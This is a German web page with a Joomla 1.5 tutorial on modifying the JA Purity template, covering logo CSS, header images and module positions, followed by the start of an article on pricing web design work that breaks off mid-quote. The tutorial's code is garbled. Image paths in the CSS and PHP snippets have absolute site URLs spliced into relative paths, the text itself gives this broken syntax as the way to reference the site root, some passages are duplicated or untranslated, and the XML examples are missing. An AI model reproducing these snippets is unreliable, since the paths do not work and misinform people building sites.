Kategorien
CMS Programmierung Tutorials

CMS Joomla: Standard-Templates individuell abwandeln

Kristoff Svandson

Joomla! ist ein beliebtes Open-Source Content-Management-System (CMS) mit vielen Möglichkeiten. Eine der Stärken von Joomla ist die riesige Anzahl sowohl freier als auch Premium Templates und und Erweiterung. Diese Template können Sie ganz einfach herunterladen und installieren. Aber auch diese Arbeit müssen Sie sich nicht machen, denn das Installationspaket von Joomla enthält mehrere verschiedene Templates.

Die meisten Einsteiger fangen mit einem davon an und sind damit zunächst zufrieden. Nach einiger Zeit kommen jedoch Änderungswünsche auf. Dieser Artikel führt Sie durch eins der Standardtemplates von Joomla und zeigt Ihnen, wie Sie es für Ihre Website modifizieren zu können.

In Joomla 1.5 verfügbare Templates

Joomla 1.5 beinhaltet drei Frontend-Templates. Eines von ihnen, Beez, wird lediglich als Beispiel dafür, wie man ein Template aufbaut, zur Verfügung gestellt (es ist scheußlich).

Die anderen zwei, JA Purity und Rhuk Milkyway, sind schon eher brauchbar.

Das Template Rhuk Milkyway beinhaltet abgerundete Ecken in seinem Design. Es wird häufig als Framework verwendet, um Erweiterungen für Joomla von Drittanbietern vorzuführen. Auch JA Purity weist eine Reihe von Farbthemen und Templateparametern für die Anpassung der Breite des Templates, des Logotyps (Text oder Bild) und anderer Optionen des Templates auf.

Tools, die Sie brauchen werden

Für dieses Tutorial werden Sie den Firefox browser. Sie werden außerdem die Firefox-ErweiterungFirebug add-on for Firefox (info on getting started) herunterladen und installieren müssen.

Firebug integriert sich in Firefox und gibt Ihnen beim Browsen eine Fülle von Entwicklungstools an die Hand. Sie können auf jeder Webseite live CSS, HTML und JavaScript editieren, debuggen und überwachen, was später praktisch sein wird, wenn Sie funktionierenden Code in Ihr Joomla Stylesheet implementieren. Firebug ist ein unschätzbares Werkzeug für Webseitenentwickler und -gestalter und unverzichtbar für dieses Tutorial.
Sie werden darüber hinaus einen HTML-Texteditor benötigen, Dreamweaver oder ähnlich, und auch FTP-Zugriff auf Ihre Joomla-Dateien.
Firebug

Sie werden darüber hinaus einen HTML-Texteditor benötigen, Dreamweaver oder ähnlich, und auch FTP-Zugriff auf Ihre Joomla-Dateien. Eine weitere Option ist, die kostenlose Komponente eXtplorer für Joomla zu installieren. Das ist ein Dateimanager, der Sie Dateien direkt im Browser bearbeiten und speichern lässt.

Wählen Sie Ihr Standardtemplate

In diesem Artikel werde ich das Template JA Purity verwenden, das, wie ich finde, für einen Anfänger am einfachsten zu modifizieren ist. Wenn Sie das Template aktivieren, wird es etwa so aussehen:
The JA Purity template

Wie Sie sehen können, müssen hier einige Elemente verändert werden. Gott sei Dank ist dieses Template flexibel und leicht zu verstehen.

Das Template verstehen

Das Joomla-Template ist aus mehreren Dateien zusammengesetzt. Diejenigen, die wir in diesem Tutorial berücksichtigen müssen, sind:

  • Die Hauptindexdatei
/templates/ja_purity2/index.php
  • Die Haupttemplatedatei
/templates/ja_purity2/css/template.css
  • Die CSS-Menüdatei
/templates/ja_purity2/css/menu.css
  • Die Templatedatendatei
/templates/ja_purity2/templateDetails.xml

Mit einer Kopie arbeiten

Wenn Sie in der Lage sein wollen, irgendwelche Änderungen zurückzufahren, machen Sie bevor Sie beginnen eine Kopie des Templates. Auf diese Weise können Sie immer wieder zurück zum Original gehen und dort den Code kopieren, wenn Sie etwas vermasseln sollten. Außerdem könnten Sie ohne eine Kopie Ihre Modifikationen überschreiben, wenn Sie den Standardordner verwenden und an irgendeinem Punkt Ihre Joomla-Installation aktualisieren.

Kopieren Sie den Template-Ordner und geben Sie ihm einen neuen Namen. Für dieses Tutorial werde ich den Ordner ja_purity2 nennen.

Jetzt haben Sie auf Ihrer Joomla-Website zwei Kopien des Templates. Wenn Sie auf Extensions → Template Manager gehen werden Sie sehen, dass beide Vorlagen JA Purity heißen. Das ist nicht gut, denn wir werden nicht so leicht sagen können, mit welcher wir gerade arbeiten:

Same name

Um das kopierte Template anders zu benennen, müssen Sie die XML-Datei des Templates editieren.

Öffnen Sie die Datei unter /templates/ja_purity2/templateDetails.xml und ändern Sie den Namen. Dann speichern Sie die Datei.

Sie werden sehen, dass die Kopie im Ordner ja_purity2 nun den Namen JA_Purity Modified trägt. Nun wählen Sie das Optionsfeld auf der linken Seite Ihres Templates JA_Purity Modified aus und klicken Sie auf die Schaltfläche „Default“. Das wird Ihre Kopie als Template für die Website aktivieren.

XML file

You will see that the copy in the folder ja_purity2 now has the name JA_Purity Modified. Now, select the radio button to the left of your JA_Purity Modified template, and click the „Default“ button. This will activate your copy as the template for the website.

Default template

Auswählen, was zu modifizieren ist

Es gibt gute Gründe dafür, das Standardtemplate zu modifizieren. Vielleicht gefällt Ihnen die Struktur, aber Sie möchten der Website ein neues Design verleihen. Oder Sie haben bereits ein Logo und Markenfarben oder ein vollständiges Photoshopmodell, das Sie oder ein anderer Designer erstellt haben. Manche von Ihnen werden in Joomla eine bestehende Website neu erstellen und dabei das Design und die Elemente beibehalten müssen.

Wir werden die Elemente des Templates durchgehen und auch, wie sie modifiziert werden, damit Sie jedes Design, das Ihnen gefällt, erstellen können.

Template Overrides

Es gibt den Ordner /templates/ja_purity2/html/, in dem Template Overrides (außer Kraft gesetzte Templates) gespeichert werden. Im Detail auf Template Overrides einzugehen sprengt den Rahmen dieses Artikels. Wenn Sie mehr darüber wissen möchten, sehen Sie sich bitte meinen Blogbeitrag zu diesem Thema an.

Kurz gesagt setzen Template Overrides die Ausgabe von Joomlas Kernkomponenten und -modulen außer Kraft, ohne dass Sie den Kern hacken müssen. Das erlaubt es Ihnen, die Ausgabe der Inhaltskomponente außer Kraft zu setzen, die den Inhalt der Website anzeigt. Wenn der Kern von Joomla aktualisiert wird, bleiben Ihre Overrides unberührt. Wenn Sie die gleichen Dateien im Kern modifizieren, könnten sie von einem späteren Update von Joomla überschrieben werden. Template Overrides können auch für installierte Komponenten und Module verwendet werden.

Modulpositionen

Jedes Joomla-Template hat einen Satz von Modulpositionen. Das sind PHP-Abschnitte, die eines oder mehrere Module, die der Position zugewiesen sind, aufrufen.

Wir werden am Ende dieses Artikels weiter über Modulpositionen reden.

Modifizieren der Templateparameter

Das erste, was ich normalerweise tue, ist mir die Templateparameter im Joomla-Administrator anzusehen. Den finden Sie, wenn Sie sich in den Adminbereich von Joomla einloggen. Dann gehen Sie zu Extensions → Template manager → JA_Purity.

Auf der rechten Seite sehen Sie eine Liste mit Parametern. Diese sind einzigartig für das Template, denn sie werden vom Entwickler hinzugefügt. Die hier vorgenommenen Einstellungen werden in der Datei params.ini im Ordner /templates/ja_purity2/ gespeichert und beim Laden einer Seite von der Datei index.php erfasst.

Das Template JA Purity hat einige Optionen. Lassen Sie uns ein paar davon betrachten:

  • Logo type Hier können Sie entweder eine Bilddatei oder Text verwenden. Das Logobild muss im Ordner /templates/ja_purity2/ gespeichert werden und logo.png heißen. Das Standardlogo hat die Größe 207×80 Pixel.
  • Logo text Wenn Sie „Text“ als Logotyp auswählen, geben Sie hier Ihren Text ein.
  • Slogan Das ist die Textzeile, die unter dem Logo erscheint.
  • Horizontal NavigationType Hier haben Sie zwei Optionen: SuckerFish Menu und JAMoo Menu. Lassen Sie es im Moment bei SuckerFish Menu.
  • Template width Aus irgendeinem Grunde ist die Standardbreite des Templates 97%. Ich glaube nicht, dass ich einer Website jemals eine fließende Breite gegeben habe, zumindest nicht in den letzten 10 Jahren. ;) Ändern Sie die Einstellung auf „Specified in pixels“.
  • Specified width Geben Sie hier die Pixelanzahl ein, z.B. 980. Das wird die Breite des Templatecontainers sein.
  • Right modules collapsible function So schön sie ist, ich deaktiviere diese Funktion normalerweise, mit der der User die Module in der rechten Spalte verbergen kann. Ich kann wirklich nicht feststellen, dass sie häufig verwendet wird.

Die restlichen Parameter können für den Moment so bleiben, wie sie sind.

JA Purity parameters

Die Parameter in der Datei params.ini sehen so aus:

Params

So weit, so gut. Jetzt haben Sie alles eingestellt, was Sie ändern können, ohne in den Code zu gehen.

Sie werden einige Buttons im oberen Teil der Seite bemerken. Wie Sie sehen, haben Sie von hier aus direkten Zugang zu HTML und CSS. Es ist OK, das für schnelle Änderungen zu verwenden. Ich finde jedoch, dass diese Ansichten weniger flexibel sind als die Verwendung eines externen Editors, eines FTP-Zugangs oder der Komponente eXtplorer.

Template buttons

Ändern des Logos

Das Erste, was Sie tun möchten, ist Ihr eigenes Logo in das Template einfügen.

Laden Sie, um das Logo zu ändern, eine neue Bilddatei mit dem Namen logo.png in den Ordner /templates/ja_purity2/.

Wenn das Logo die gleiche Größe hat wie das Original, können Sie die Einstellungen belassen. Das Originallogo ist 207 x 80 Pixel groß:

Logo

Wenn Ihr Logo eine andere Größe hat, müssen Sie im CSS die Maße des Logos und des Headers ändern. In diesem Beispiel fügen wir ein Logo mit einer Breite von 270 Pixel und einer Höhe von 120 Pixel hinzu.

Wenn ich das Logo einfach in den gleichnamigen Bilderordner des Templates hochgeladen hätte, würde das so aussehen:

Logo

Damit das Logo richtig erscheint, muss ich das CSS sowohl an das Logo selbst als auch an den Container, der es aufnimmt, anpassen.

Sie können Firebug verwenden, um den Code für das Logo und den Header zu inspizieren. Machen Sie einen Rechtsklick auf das Bild des Headers, um das Kontextmenü erscheinen zu lassen und wählen Sie „Inspect element“ aus:

Inspect

Das Fenster von Firebug wird sich in Ihrem Browser öffnen und Sie werden so etwas wie das hier sehen:
Firebug

Mit Firebug können Sie einfach feststellen, wo das entsprechende CSS liegt und anfangen, mit Änderungen zu experimentieren. Sie können das CSS in Firebug ändern und die Änderungen sogleich sehen:

Firebug CSS

Hier haben wir das Hintergrundbild für .ja-headermask durch Klick auf das Symbol deaktiviert und die Höhe auf 120 Pixel eingestellt. Dass CSS füllt sich automatisch für Sie aus, was die Arbeit damit wirklich schnell macht.

Wenn Sie mit dem Experimentieren in Firebug fertig sind, können Sie die Änderungen permanent auf die CSS-Datei des Templates anwenden. Das spart viel Zeit, weil Sie nicht ständig hin und her wechseln müssen.

Um das CSS anzupassen, öffnen wir die Datei /templates/ja_purity2/css/template.css.

In Zeile 921 finden wir den folgenden Code:

#ja-headerwrap {
   background: #333333;
   color: #CCCCCC;
   line-height: normal;
   height: 80px;
}

#ja-header {
   position: relative;
   height: 80px;
}

In diesem Falle stellen wir sowohl die Höhe von #ja-headerwrap als auch von #ja-header auf 140 Pixel ein. Ich möchte etwas mehr Platz ober- und unterhalb des Logos lassen, daher habe ich dem #ja-header ein Padding-Top, einen Abstandhalter, hinzugefügt:

#ja-headerwrap {
 background: #333333;
 color: #CCCCCC;
 line-height: normal;
 height: 140px;
}

#ja-header {
   position: relative;
   height: 140px;
   padding-top:10px;
}

Der Header sieht nun so aus:
Logo

Sie sehen, dass der Header größer, das Logo aber abgeschnitten ist. Der Grund dafür ist, dass das Logo im des h1-Link-Tag enthalten und als Hintergrund eingestellt ist. Daher müssen wir die Größe des umschließenden Containers anpassen.

Weiter unten in der CSS-Datei finden wir diesen Code:

 h1.logo a {
 width: 208px;
 display: block;
 background: url(../http://www.smashingmagazine.com/wp-content/uploads/2010/08/logo.png) no-repeat;
 height: 80px;
 position: relative;
 z-index: 100;
 }

Ich werde die Breite auf 270 Pixel und die Höhe auf 120 Pixel ändern. Jetzt sieht das Logo richtig aus:

Wie Sie vielleicht bemerkt haben, ist das die Stelle in der CSS-Datei, wo der Pfad zum Logo gespeichert ist. Wenn Ihr Logo also online ist, würden Sie hier die URL eintragen. Das Standardbild befindet sich im Ordner /templates/ja_purity2/. Sie sehen, dass der Pfad zu dieser Datei relativ ist, der Entwickler hat das Format …/ verwendet, um die URL festzulegen. Um einen Ordner im Root der Website zu bestimmen, schreiben Sie aus /http://www.smashingmagazine.com/wp-content/uploads/2010/08/, gefolgt vom Dateinamen des Bildes.

h1.logo a {
 width: 270px;
 display: block;
 background: url(/http://www.smashingmagazine.com/wp-content/uploads/2010/08/adifferentlogo.png) no-repeat;
 height: 120px;
 position: relative;
 z-index: 100;
 }

Bilder im Header ändern oder entfernen

JA Purity hat eine eingebaute Rotationsfunktion für das Bild im Header. Sie können diese bei Ihren eigenen Bildern verwenden oder auch komplett entfernen. Um sie zu verwenden, erstellen Sie Bilder mit einer Größe von 600×80 Pixel. Laden Sie die Bilder in den Ordner /templates/ja_purity2/header/ hoch. Das Script liest die Bilder aus dem Ordner aus und lässt sie rotieren und blendet jedes Bild an beiden Seiten aus.

Header images

So schön das auch ist, Sie können die Bildrotation aus dem Header entfernen, wenn Sie möchten. Öffnen Sie die Datei index.php in einem Editor Ihrer Wahl und lokalisieren Sie den folgenden Abschnitt:

 <!-- BEGIN: HEADER -->
 <div id="ja-headerwrap">
 <div id="ja-header" class="clearfix" style="background:
url(<?php echo $tmpTools->templateurl(); ?>/http://www.smashingmagazine.com/wp-content/uploads/2010/08/header/
<?php echo $tmpTools->getRandomImage(dirname(__FILE__).DS.'http://www.smashingmagazine.com/wp-content/uploads/2010/08/header'); ?>)
no-repeat top <?php if($this->direction == 'rtl') echo 'left'; else echo 'right';?>;">

<div class="ja-headermask">&nbsp;</div>

Die Bilder des Headers werden mit dem Hintergrundstil für #ja-header platziert. Die #ja-headermask agiert auch als Maske, um die Bilder an beiden Seiten auszublenden. Um die Bilder und die Maske des Headers zu entfernen, ändern Sie den Code dahingehend ab:

<!-- BEGIN: HEADER -->
<div id="ja-headerwrap">

<div id="ja-header" class="clearfix">

Im Prinzip entfernen wir den Hintergrundstil von #ja-header und entfernen #ja-headermask komplett.

Andere Elemente entfernen

Wenn wir schon einmal dabei sind, können wir auch gleich ein paar Elemente mehr entfernen. Im Header des Templates befindet sich ein Tool zur Änderung der Schriftgröße.

Font resizer

Kommentieren Sie es aus oder entfernen Sie es, wenn Sie es nicht brauchen:

 <!-- <?php $tmpTools->genToolMenu(JA_TOOL_FONT, 'png'); ?> -->

In der Fußzeile befinden sich auch zwei Schaltflächen für die Gültigkeitsprüfung von CSS und XHTML:

Buttons

Sie möchten das sicherlich auskommentieren oder den gesamten Abschnitt entfernen:

 <div class="ja-cert">
 <jdoc:include type="modules" name="syndicate" />

 <a href="http://jigsaw.w3.org/css-validator/check/referer" title="<?php echo JText::_("CSS Validity");?>" style="text-decoration: none;">
 <img src="<?php echo $tmpTools->templateurl(); ?>/http://www.smashingmagazine.com/wp-content/uploads/2010/08/but-css.gif" border="none" alt="<?php echo JText::_("CSS Validity");?>" />

 </a>
 <a href="http://validator.w3.org/check/referer" title="<?php echo JText::_("XHTML Validity");?>" style="text-decoration: none;">

 <img src="<?php echo $tmpTools->templateurl(); ?>/http://www.smashingmagazine.com/wp-content/uploads/2010/08/but-xhtml10.gif" border="none" alt="<?php echo JText::_("XHTML Validity");?>" />
 </a>

 </div>

Hindergrundfarbe des Headers ändern

Um dem Header eine andere Hintergrundfarbe zu geben, brauchen wir nur den Hexcode für die Hintergrundfarbe ändern. Für dieses Beispiel bin ich bei einem blauen Farbton mit dem Code #3E5E93 gewählt (okay, nicht gerade ein anmutendes Design, aber es verdeutlicht, worum es geht).

 #ja-headerwrap {
 background: #3E5E93;
 color: #CCCCCC;
 line-height: normal;
 height: 140px;
 }

Das verleiht dem Header diese blaue Hintergrundfarbe. Natürlich können Sie dem Header ein Hintergrundbild hinzufügen, wenn Sie das vorziehen.

Nun sieht unser Template etwa so aus:

Template blue

So wie es jetzt ist, läuft die Hintergrundfarbe durch den ganzen oberen Teil der Website. Wenn Sie in Firebug mit dem Cursor über #ja-header fahren werden Sie sehen, dass div auf der Seite hervorgehoben ist. Wir können hier mit einer anderen Farbe als der von #ja-headerwrap experimentieren.
Um das zu tun, ändern wir die Hintergrundfarbe von #ja-headerwrap auf transparent. Wir ändern auch die Hintergrundfarbe von ja-header in dieses Blau.

Jetzt sieht der Header so aus:

Strange header

Sieht ein bisschen seltsam aus oder nicht? Wir müssen den Schatten, der sich unter #ja-headerwrap befindet, entfernen. Das muss bei allen vier divs gemacht werden, die diesen Schatten als Hintergrundbild haben. Sie können sehen, wie das in Firebug aussieht:

Containerwrap

Sie werden feststellen, dass diese Hintergründe in zwei unterschiedlichen CSS-Dateien eingetragen sind: in template.css und in die Datei unter /templates/ja_purity2/styles/elements/black/style.css (sofern Schwarz die Farbe ist, die Sie möchten).

Um es einfach zu machen, hängen Sie den folgenden Code an das untere Ende der Datei style.css an (da er nach dem template.css geladen wird, wird er diese Stile überschreiben).

 #ja-containerwrap-fr,
   #ja-containerwrap,
   #ja-containerwrap2 {
   background-image:none !important;
   }

Zusätzlich zum Entfernen der Schatten fügte ich ein wenig Padding und einige Ränder um den Hauptcontainer herum hinzu. Ich habe hier außerdem das Hintergrundbild entfernt:

  #ja-container2 {
    border-left:1px solid #DDDDDD;
    border-right:1px solid #DDDDDD;
    padding:20px 10px !important;

    }

Was uns dieses Ergebnis liefert:

Finished template

Nicht gerade ein Meisterstück des Designs, aber auf jeden Fall besser als das, womit wir angefangen haben. Grenzen sind Ihnen nur durch Ihre Fantasie gesetzt.

Ein bisschen weitergehen

Zu diesem Zeitpunkt sollten Sie eine gute Vorstellung davon haben, wie Sie das CSS des Templates und andere Einstellungen an Ihre Bedürfnisse anpassen können.

Die obigen Tipps sind ziemlich grundlegend. Sie können Ihre Fähigkeiten erweitern, indem Sie lernen, wie Template Overrides, Module Positions und Module Chrome eingesetzt werden, um nur einige wenige zu nennen.

  • Template overrides Code, der die Standardausgabe eines Moduls oder einer Komponente überschreibt.
  • Module positions PHP-Abschnitte, die Module in das Template einbauen.
  • Module chrome Code, der die HTML- oder XHTML-Ausgabe eines Moduls kontrolliert. (Lesen Sie mehr auf der Website von Joomla.)

Sowohl Template Overrides als auch Module Chrome sind zu kompliziert für diesen Artikel, ich werde Ihnen jedoch zeigen, wie Sie dem Template eine Modulposition hinzufügen können.

Modulpositionen hinzufügen

Wie bereits erwähnt, hat jedes Joomla-Template eine Anzahl von Modulpositionen. Sie können die Modulpositionen in Ihrem Template anzeigen lassen, indem Sie die Parameter ?tp=1 an die URL anhängen.

Zum Beispiel zeigt Ihnen die Eingabe von http://www.joomla.org/?tp=1 die Modulpositionen auf Joomla.org.

Module positions

Beachten Sie, dass diese Funktion blockiert werden kann, indem der Datei .htaccess-Code hinzugefügt wird (also lassen Sie sich nicht verwirren, wenn Sie das auf einer Joomla-Website ausprobieren und es nicht funktioniert).

Die Modulpositionen in Joomla befinden sich in der Datei index.php des Templates.

Es gibt im Prinzip zwei Arten von Modulpositionen: eine reguläre Modulposition und die Ausgabe von Komponenten.

Die Ausgabe von Komponenten (zum Beispiel Joomla-Artikel, Ausgabe von Komponenten Dritter etc.) sieht so aus:

<jdoc:include type="component" />

Die regulären Modulpositionen sehen etwa so aus:

<jdoc:include type="modules" name="left" style="xhtml" />

name ist die „Position“, die Sie auswählen, Wenn Sie Ihre Module der Position zuweisen.

Menu parameters

Der style ist das Module Chrome oder der Ausgabestil, der auf diese Modulposition angewendet wird.

Der HTML-Code des Menüs besteht aus den Menüpunkten, umschlossen vom Modul Chrome:

  <div class="moduletable_menu">
  <ul class="menu">

    <li id="current" class="active item1"><a href="#"><span>Home</span></a></li>
    <li class="item2"><a href="#"><span>Contact</span></a></li>

  </ul>
</div>

Wir wollen das Modul Chrome jedoch nicht anzeigen, wenn ihm keine Module zugewiesen sind. Darum fügen wir eine if-Bedingung um die Modulposition herum hinzu. Das ist ein einfacher PHP-Abschnitt, der überprüft, ob der Position left ein Modul zugewiesen ist oder nicht:

    <?php if ($this->countModules('left')): ?>
    <jdoc:include type="modules" name="left" style="xhtml" />

<?php endif; ?>

Natürlich können Sie mehr Code einbauen, der angezeigt wird, wenn der Modulposition Module zugewiesen wurden. Der Entwickler von JA Purity hat etwas mehr Code hinzugefügt, um das Modul in seinem Design zu positionieren und auch einige Kommentare ergänzt:

 <?php if ($this->countModules('left')): ?>
   <!-- BEGIN: LEFT COLUMN -->
     <div id="ja-col1">
        <jdoc:include type="modules" name="left" style="xhtml" />

     </div><br />
   <!-- END: LEFT COLUMN -->
<?php endif; ?>

Das wickelt das Modul sauber in ein div mit dem Namen #ja-col1, was es Ihnen erlaubt, das Element mit dem CSS zu gestalten. Und das div wird nur angezeigt, wenn der Position left ein Modul zugewiesen ist.

Die endgültige Ausgabe sieht so aus:

<!-- BEGIN: LEFT COLUMN -->
  <div id="ja-col1">
    <div class="moduletable_menu">
      <ul class="menu">
        <li id="current" class="active item1"><a href="#"><span>Home</span></a></li>

        <li class="item2"><a href="#"><span>Contact</span></a></li>
      </ul>
    </div>

  </div><br />
<!-- END: LEFT COLUMN -->

Mit dieser einfachen Methode können Sie Ihrem Template so viele Modulpositionen hinzufügen, wie Sie möchten. Sie könnten Positionen für Werbung haben, mehr Positionen für die rechten oder linken Spalten (um diese in mehr Spalten zu teilen) oder einfach eine Position für ein Template, das genau da keine Position hat, wo Sie eine brauchen.

Sie können auch Positionen hinzufügen, die Scripts enthalten, die Sie nicht im Frontend Ihrer Website anzeigen wollen. Ich habe zum Beispiel Modulpositionen am Ende des Tags head und am Anfang und Ende des Tags body hinzugefügt, um in der Lage zu sein, verschiedene Arten von Scripts zuzuweisen (Google Analytics, CrazyEgg etc.).

Die Position der XML-Datei hinzufügen

Damit eine neue Templateposition im Dropdown-Menü der Modulpositionen in den Modulen erscheint, fügen Sie sie der XML-Datei des Templates hinzu. Öffnen Sie die Datei noch einmal unter /templates/ja_purity2/templateDetails.xml und schauen Sie nach einem Abschnitt, der
heißt:

Template positions in the XML file

Fügen Sie zwischen
und eine weitere Zeile ein. Wenn Sie zum Beispiel die Position leftbottom ergänzen, dann fügen Sie der Datei
leftbottom
hinzu. Jetzt erscheint die Modulposition in der Parameteransicht der Module:

Leftbottom position

Tatsächlich brauchen Sie die Position nicht zur XML-Datei hinzufügen. Es reicht aus, den Namen der Position in das Positionsfeld zu schreiben. Auf jeden Fall ist es auch gut, sie in die XML-Datei einzutragen. Wenn der Position kein Modul zugewiesen ist, wird sie auch nicht in der Liste erscheinen.

Zusammenfassung

Natürlich haben wir nur an der Oberfläche dessen gekratzt, was mit Joomla-Templates machbar ist. Aber für den Anfang ist es schon eine ganze Menge.

Damit Sie den Überlick behalten, hier nochmals ein kurzer Abriss, wie Sie am besten vorgehen:

  • Inspizieren Sie mit Firebug das Element, das Sie ändern möchten.
  • Machen Sie diese Änderungen, wie immer, in einer Kopie Ihres Originals.
  • Nehmen Sie mit Firebug ein paar experimentelle Änderungen vor, um Ihre Einstellungen zu testen.
  • Wenden Sie das CSS auf das Stylesheet des Templates an.
  • Prüfen Sie die Einstellungen in allen wichtigen Browsern.

Viel Glück!

(mm)

Kategorien
Betriebliches E-Business Freelance

Knackpunkt Preis: Anhaltspunkte zur Preisgestaltung im Webdesign

Thursday Bram

Den Preis für das Design einer Website festzulegen, grenzt manchmal ans Unmögliche. Eine gut gestaltete Website kann alles zwischen mehreren tausend Dollar und weniger als fünfzig Dollar kosten, je nach Art und Aufbau der Präsenz und hundert anderen Aspekten. Und genau die können es so schwer machen festzulegen, wie viel die eigene Arbeit kosten soll: Woher weiß ich zum Beispiel, was meine Konkurrenz für einen vergleichbaren Internetauftritt verlangt?

Die Preisgestaltung kann nicht einheitlich ausfallen: Während für den Laien die meisten Websites gleich aussehen, gibt es bei der Wahl des Frameworks und der Verarbeitungsprozesse große Unterschiede, die für die stark voneinander abweichenden Preise verantwortlich sind. Die Kosten für eine Website, für deren Gestaltung Sie einfach nur ein neues WordPress-Theme entwerfen müssen, sollten anders ausfallen als für eine E-Commerce-Website, auf der mit sehr viel mehr Besucherverkehr zu rechnen ist. Wir kommen also wieder auf die Frage zurück: wie setzt sich mein Preis zusammen. In diesem Artikel betrachten wir vier Webdesigner, wie sie ihre Preise kalkulieren – und was Sie aus ihrem
Erfahrungsschatz lernen können.

Grundlagen der Preisgestaltung

Ihre Preise sollten mindestens so kalkuliert sein, dass Ihre Ausgaben gedeckt werden, und dann hoffentlich ein bisschen übrig bleibt, außer Sie haben noch eine andere Einnahmequelle. Eine Faustregel für die Preisgestaltung lautet: wie viel Geld benötigen Sie jeden Monat – und rechnen Sie das in einen Stundenlohn um. Dabei gilt es zu beachten: kaum ein Webdesigner hat 40 bezahlte Wochenarbeitsstunden. Selbständige Webdesigner kommen sogar häufig nur auf 20 bezahlte Wochenstunden, ganz besonders als Einsteiger. Die restliche Zeit verbringen Sie damit, neue Kunden an Land zu ziehen, den Papierkram zu bearbeiten und andere wichtige Dinge zu erledigen.

Bauen Sie Puffer in Ihre Kalkulation ein

Wenn Sie Ihre Preise festlegen, dürfen Sie Ihre Ausgaben nicht unterschätzen. Ganz leicht werden ein oder zwei Posten übersehen, beispielsweise die Kranken- oder Rentenversicherung, und Ihre Kalkulation stimmt hinten und vorne nicht mehr. Wenn Sie Ihren Bedarf abschätzen, sollten Sie auf jeden Fall noch einen Puffer einbauen: Von Ihrem Einkommen sollten Sie auch Rücklagen bilden, Notfälle überbrücken und Steigerungen bei Ihren Ausgaben bestreiten können.

Dies alles zusammengenommen bedeutet, dass der Betrag, den Sie zur Deckung Ihrer Ausgaben benötigen, auch nur die Untergrenze für Ihre Preiskalkulation sein sollte. Ihre persönlichen Ausgaben machen nur einen kleinen Teil des Honorars aus, das Sie für Ihre Webdesign-Tätigkeit verlangen. Eine konkrete Anleitung, wie Sie ermitteln können, ob Ihre Preise nicht nur kostendeckend, sondern wirtschaftlich sind, finden Sie im Dr.-Web-Beitrag Betriebswirtschaft für Webworker & Co – Controlling und Kostenrechnung.

1. Die Entscheidung: Projektpauschale oder Stundensatz

Mit eine der wichtigsten Entscheidungen für Sie als Webdesigner ist die Frage: rechne ich je Projekt oder auf Stundenbasis ab? Die meisten Webdesigner kalkulieren die Anzahl der Stunden, die sie für das Projekt aufbringen müssen, was sich über einen Stundensatz leicht abrechnen lässt. Das bringt auch noch andere Vorteile mit sich: nimmt der Kunde Veränderungen am Projekt vor oder fallen Extraarbeiten an, lässt sich ein Kostenvoranschlag auf Stundenbasis bequem überarbeiten.
Soll ich pro Stunde abrechnen?

Mary-Frances Main aus Colorado (USA) ist Webdesignerin. Sie arbeitet ausschließlich auf Stundenbasis. Dazu sagt Main: „Wir berechnen unser Honorar nur nach Stundensatz. Nur sehr sehr selten lassen wir uns auf eine Kostenschätzung für ein ganzes Projekt ein. Wir haben die Erfahrung gemacht, dass wir bei Projektangeboten kaum jemals auf unsere Kosten kommen. Es ist dann nicht leicht, für problematische Designs, Änderungen am Projekt oder mangelnde Organisation seitens des Kunden zu kompensieren. Im Gegenzug dafür, dass wir keine Projektgesamtpakete anbieten, machen wir ein günstiges Angebot für Aktualisierungsarbeiten. Da rechnen wir je 15 Minuten ab.“

Die Sorte Kunde, für die Main üblicherweise arbeitet, beeinflusst auch ganz gewaltig ihre Entscheidung, auf Stundenbasis abzurechnen. Die liebsten Kunden sind ihr Dauerkunden – sie benötigen die Dienste des Webdesigners für Aktualisierung, Wartung und Änderungen an der Website. Die Abrechnung auf Stundenbasis ermöglicht es Main, diese Überarbeitungsmaßnahmen zu übernehmen und damit trotzdem genügend zu verdienen.

Abrechnung nach Stundensatz ist sinnvoll, wenn: Sich die Anforderungen an das Projekt ändern können, nachdem Sie bereits mit der Arbeit begonnen haben, Es sich nicht genau abschätzen lässt, wie lange ein Projekt dauert, Sie viele kleine Aufgaben oder Projekte, die sich gerade anbieten, übernehmen, Ihr Kunde mehr verlangt, als Sie gewöhnlich bieten.

Während es für einige Webdesigner sinnvoll ist, ihre Abrechnung auf Stundenbasis durchzuführen, gilt das nicht für alle. Stundensätze bringen auch Nachteile mit sich. Kunden, denen nicht klar ist, wie viel Arbeit tatsächlich in der Erstellung einer Webpräsenz steckt, sehen nur den Stundensatz und bekommen je nach Höhe kalte Füße.

Soll ich je Projekt abrechnen?

Sieht ein Kunde einen Stundensatz von 100 Dollar und denkt in 40-Wochenstundenkategorien, wird ihn das abschrecken. Wenn Sie nun sagen, es dauert 3 Wochen das Projekt umzusetzen, haben Sie am Ende einen Kunden dessen innere Excel-Tabelle mehreren zehntausend Dollar kalkuliert, unabhängig von der Größe des Projekts. Diese Missverständnisse treten gar nicht erst auf, wenn Sie Projektpauschalen anbieten.

Noel Green, ein Webdesigner aus New Mexico, rechnet bei seinen Projekten stets Pauschalhonorare ab: „Wir bieten auch einen Stundensatz, aber lieber ist es uns, für ein Projekt eine Pauschale unterbreiten zu können. Wir haben 8 Jahre Erfahrung darin und wissen inzwischen ziemlich genau, wie viel Zeit wir für ein Projekt veranschlagen müssen. Die Kunden fühlen sich besser, wenn sie für den ganzen Vorgang gewissermaßen eine ‚Flatrate‘ erhalten.“

Für Green stecken in einer Projektpauschale auch noch andere Vorteile. Seiner Erfahrung nach nehmen Kunden weniger Änderungen am ursprünglichen Projekt vor, wenn sie wissen, dass Überarbeitungen über einen Stundensatz abgerechnet werden.

Abrechnung nach Projekten ist sinnvoll, wenn: Sie Projekte dieser Art oft genug bearbeitet haben um zu wissen, wie viel Zeit Sie dafür benötigen,
Das Budget ihres Kunden begrenzt ist und Sie nicht unendlich viele Stunden auf die Rechnung setzen können,
Sie ein Gesamtpaket anbieten wollen, zum Beispiel einen Fixpreis für eine Website samt Hosting,
Das Projekt überschaubar und klar umrissen ist.

Projektpauschale und Stundensatz

Dixie Vogel ist Webdesignerin mit 10 Jahren Berufserfahrung und greift auf noch ein anderes System zurück. Sie rechnet je nach Umständen über eine Projektpauschale oder den Stundensatz ab: „Bei größeren Projekten wähle ich die Pauschale (nachdem ich die erforderliche Zeit geschätzt und mit meinem Stundensatz multipliziert habe). Ich arbeite nicht gerne mit der Stoppuhr in der Hand und dem Gefühl, mit Hochgeschwindigkeit arbeiten zu müssen, um meinen Kunden nicht zu übervorteilen. Außerdem werde ich häufig unterbrochen, das macht einen durchgängigen Zeitnachweis ziemlich schwer.

